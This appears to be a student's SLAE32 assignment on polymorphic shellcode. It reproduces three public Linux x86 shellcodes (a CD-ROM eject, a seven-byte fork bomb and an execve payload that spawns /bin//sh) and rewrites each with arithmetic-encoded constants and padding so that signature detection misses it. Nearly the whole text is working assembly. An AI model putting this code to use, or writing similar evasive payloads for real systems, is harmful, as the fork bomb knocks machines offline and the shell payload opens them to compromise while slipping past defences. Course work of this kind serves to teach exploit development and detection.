SLAE32
assignment 6
PA-2485

Polymorphic Shellcode
In computer terminology, polymorphic code is code that uses a polymorphic engine to mutate while keeping the original algorithm intact. That is, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all. For example, 1+3 and 6-2 both achieve the same result while using different values and operations. This technique is sometimes used by computer viruses, shellcodes and computer worms to hide their presence

Here is the original shellcode

http://shell-storm.org/shellcode/files/shellcode-563.php

```
; linux/x86 eject /dev/cdrom 42 bytes
; root@thegibson
; 2010-01-08

section .text
    global _start

_start:
    ; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);
    mov al, 5
    cdq
    push edx
```

```
    push word 0x6d6f
    push dword 0x7264632f
    push dword 0x7665642f
    mov ebx, esp
    mov cx, 0xfff
    sub cx, 0x7ff
    int 0x80

    ; ioctl(fd, CDROMEJECT, 0);
    mov ebx, eax
    mov al, 54
    mov cx, 0x5309
    cdq
    int 0x80
```

And here is the ploymorphic one

```
; linux/x86 eject /dev/cdrom 42 bytes
; root@thegibson
; 2010-01-08

section .text
    global _start

_start:
    ; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);
    mov al, 5
    cdq
    push edx
    push word 0x6d6f
    push 0x6153521e
    pop edx
    add edx, 0x11111111
    push edx
    push 0x6554531e
    pop edx
    add edx, 0x11111111
    push edx
    nop
    nop
    mov ebx, esp
    mov cx, 0xfff
    sub cx, 0x7ff
    int 0x80

    ; ioctl(fd, CDROMEJECT, 0);
    mov ebx, eax
```

```
    mov al, 54
    mov cx, 0x5309
    cdq
    int 0x80
```

==========

Source: http://shell-storm.org/shellcode/files/shellcode-214.php

Original code is:

```
;/ By Kris Katterjohn 8/29/2006

 ; 7 byte shellcode for a forkbomb

  section .text

       global _start

  _start:
       push byte 2
       pop eax
       int 0x80
       jmp short _start
```

Here is the polymorphic one

```
;/ By Kris Katterjohn 8/29/2006
;http://shell-storm.org/shellcode/files/shellcode-214.php
  section .text

       global _start

  _start:
        mov al,0x2
       int 0x80
       jmp short _start
```

==========

1. Execve from shell-storm

Source: http://shell-storm.org/shellcode/files/shellcode-752.php

The original code:

```
;http://shell-storm.org/shellcode/files/shellcode-752.php

xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f   ;; hs//
push 0x6e69622f   ;; nib/
mov ebx, esp
mov al, 11
int 0x80
```

The polymorphic one

```
;http://shell-storm.org/shellcode/files/shellcode-752.php

xor ecx, ecx
push ecx

mov esi,0x57621e1e
add esi,0x11111111

mov dword[esp-4],esi
sub esp,4

mov dword[esp-4],0x6e69622f
sub esp,4

mov ebx, esp
mov al, 11
int 0x80
```